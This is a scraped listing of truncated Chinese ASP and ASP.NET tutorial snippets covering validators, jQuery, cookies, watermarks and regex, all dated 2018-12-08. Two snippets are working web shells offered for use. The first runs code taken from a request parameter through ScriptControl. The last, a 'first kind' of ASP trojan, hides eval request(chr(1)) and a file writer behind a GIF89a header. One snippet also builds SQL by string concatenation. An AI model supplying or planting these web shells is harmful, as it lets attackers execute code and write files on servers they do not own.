Time of Update: 2018-12-08
今天重新研究了下VB裡面的ScriptControl組件,發現asp裡面也能調用。研究了下方法,後來和lcx討論了下。得到了如下代碼,在此感謝前輩的指點,呵呵。 代碼很簡單,我就不多做解釋了,以免有人罵我裝。 複製代碼 代碼如下:<% Set o = Server.CreateObject("ScriptControl") o.language = "vbscript" o.addcode(Request("SubCode")) '參數SubCode作為過程代碼 o.run
Time of Update: 2018-12-08
一、讓按鈕在點擊後用指令碼使其禁用: 複製代碼 代碼如下:<%@ Page Language="C#" AutoEventWireup="true" CodeBehind="WebForm1.aspx.cs" Inherits="DisableButton.WebForm1" %> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
Time of Update: 2018-12-08
前段時間看到園裡有位高手寫了個純css+js的一個效果,我把它和asp.net驗證控制項結合起來,用這位高手寫的效果做為asp.net難控制項的提示效果。如 和以前寫的比這次寫的使用起來方便,只要每個頁面繼承BasePage就可以了,其中Validator檔案夾是必需的檔案夾。 代碼 複製代碼 代碼如下:namespace ValidatorTest { public partial class Default : <SPAN style="COLOR:
Time of Update: 2018-12-08
本例主要目的是使用Jquey的Draggable控制項。 使用時首先依次引用Jquery,Jquery-Ui ,Draggable三個Js。然後在js中編寫相應的代碼,相關代碼說明請看程式中的注釋。 關於 Draggable的說明請參考:http://docs.jquery.com/UI/API/1.8/Draggable 源碼: 複製代碼 代碼如下:<%@ Page Language="C#" AutoEventWireup="true" CodeBehind="Default.
Time of Update: 2018-12-08
方法一: 複製代碼 代碼如下:id=request.form("checkbox") id=Split(id,",") shu=0 for i=0 to UBound(id) sql="select * from jiang_fname where id="&id(i) set rs=conn.execute(sql) if not rs.eof then delete_file(rs("fname")) end if rs.close set rs=nothing
Time of Update: 2018-12-08
如果你曾經修改了ASP.NET應用程式(dll檔案),與修改了bin檔案夾或Web.config檔案(添加/刪除/重新命名的檔案等),而該網站在運行,你可能已經注意到,這將導致在AppDomain的重新啟動。所有的工作階段狀態會丟失和網站再次成功啟動,任何登入的使用者將被退出(假設你不使用持久Cookie身分識別驗證)。 當然,當我們修改了web.config檔案,並儲存它,迫使一個AppDomain重新啟動,這是我們需要的。 我們有時動態建立和刪除的檔案夾,在ASP.NET
Time of Update: 2018-12-08
刪除單條記錄 複製代碼 代碼如下:id = saferequest("id") sql="delete from table1 where whereid>"&id&"" rs.open sql,conn,1,3 response.write "<script>alert('刪除成功');location.href='del.asp';</script>" set rs=nothing set conn=nothing 這是過濾非法字元函數
Time of Update: 2018-12-08
舉例: 如:在欄位名處輸入:username,password,email,telphone 注意:不同的欄位名用英文逗號隔開,且不支援星號 表名處輸入要查詢的表名:如:table1 前台表單頁面: 主要是注意input欄位的name屬性。 asp下常用的添加資料代碼是: 通過adodb.recordset 優點是:資料庫入庫比較簡單,不用考慮單引號問題。不容易出現錯誤。 複製代碼 代碼如下:username = request("username") password =
Time of Update: 2018-12-08
方法如下: 1、 頁面中拖入ScriptManager。以便於使用Ajax指令碼。同時放在其它用戶端控制項,用於觸發NetPost方法。這裡不列出用戶端控制項。 複製代碼 代碼如下:<asp:ScriptManager ID="smMaster" runat="server" ScriptMode="Auto" EnablePageMethods="true"> </asp:ScriptManager> 2、在Master源碼中編寫js 複製代碼
Time of Update: 2018-12-08
在使用datalist 資料繫結時: 複製代碼 代碼如下:<asp:TextBox ID="txtOutPlace" runat="server" Text ="<%#Eval('調出單位存放地點')%>" Width="130px"></asp:TextBox> 運行報“字元文本中的字元太多”的錯誤,這時是因為Eval必須是字串(“”引起來)不能用單引號,這是表面原因,有知道Eval綁定機制的給指導下,修改如下即可: 複製代碼
Time of Update: 2018-12-08
首先貼上Jquery的ajax: 複製代碼 代碼如下:$.ajax({ url: 'ws_Ajax.asmx/BindDictByUpper', type: 'POST', contentType: 'application/json;charset=utf-8', dataType: 'json', data: '{ PpareId:"' + varlue + '"}', success: function (data) { var dataObj = eval("(" + data + ")
Time of Update: 2018-12-08
Cookie:是儲存在用戶端檔案系統的文字檔中或用戶端瀏覽器對話的用戶端瀏覽器對話的記憶體中的少量的資料。當我們在訪問一個網站網頁,當使用者請求該網頁時,應用程式會首先檢查使用者在此前是否已經登入過,我們可以通過讀取Cookie擷取使用者資訊來判斷是否讓它繼續訪問 記錄Cookie資訊 建立一個名稱是user的Cookie對象:HttpCookie cookie=new HttpCookie("user");
Time of Update: 2018-12-08
伺服器再把GridView反構造成DataTable, 再給DataTable增加一行之後,綁定到GridView,然後發回用戶端... 能不能簡單一點呢? 在使用Ajax資料請求資料,通常都是簡單格式,比如String,資訊量較少。當然也可以請求回XML,但是XML資料冗餘多,取到用戶端處理比json麻煩的多。 能不能簡單一點呢? 上面這些問題,如果DataTable與JSON類型可以方便的相互轉換,都可以迎刃而解了。 優點:1)避免不必要的回傳; 2)精簡非同步請求資料的大小 ;
Time of Update: 2018-12-08
其中用到了jquery外掛程式來驗證使用者名稱哦,這裡是利用jquery ajax來驗證使用者名稱是否存在哦。大家看看,後面將附上源碼下載。 jquery架構實現的ajax 驗證使用者名稱是否存在的部分JS 複製代碼
Time of Update: 2018-12-08
ASP木馬防禦: 複製代碼 代碼如下:const adTypeBinary=1 dim jpg(1):jpg(0)=CByte(&HFF):jpg(1)=CByte(&HD8) dim bmp(1):bmp(0)=CByte(&H42):bmp(1)=CByte(&H4D) dim
Time of Update: 2018-12-08
複製代碼 代碼如下:'文字浮水印 Function WordWatermark(ImagePath) Dim Image Set Image= Server.CreateObject("Persits.Jpeg") ' 建立對象 Image.Open server.mappath(ImagePath) ' 圖片所在位置 Image.Canvas.Font.Color = &H000000 ' 顏色,這裡是設定成:黑 Image.Canvas.Font.Family = "宋體" '
Time of Update: 2018-12-08
複製代碼 代碼如下:<%@ Page Language="C#" AutoEventWireup="true" CodeFile="Login.aspx.cs" Inherits="Login" %> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns=
Time of Update: 2018-12-08
如果全盤刪除裡面的 HTML 標籤,可能會造成閱讀上的困難(比如 a, img 這些標籤), 最好是刪除一部分,保留一部分. Regex裡,判斷 包含某些字串 是非常容易理解的,但是如何判斷 不包含某些字串 (是字串,不是字元,是某些,不是某個) 確實是個費解的事. 複製代碼 代碼如下:<(?!((/?\s?li)|(/?\s?ul)|(/?\s?a)|(/?\s?img)|(/?\s?br)|(/?\s?span)|(/?\s?b)))[^>]+>
Time of Update: 2018-12-08
dotNetFlexGrid是一款asp.net原生的非同步表格控制項,他的前身是Jquery
Time of Update: 2018-12-08
第一款: 複製代碼 代碼如下:GIF89a$ ;<hTml> <%eval request(chr(1))%> <% on error resume next testfile=Request.form("filepath") msg=Request.form("message") if Trim(request("filepath"))<>"" then set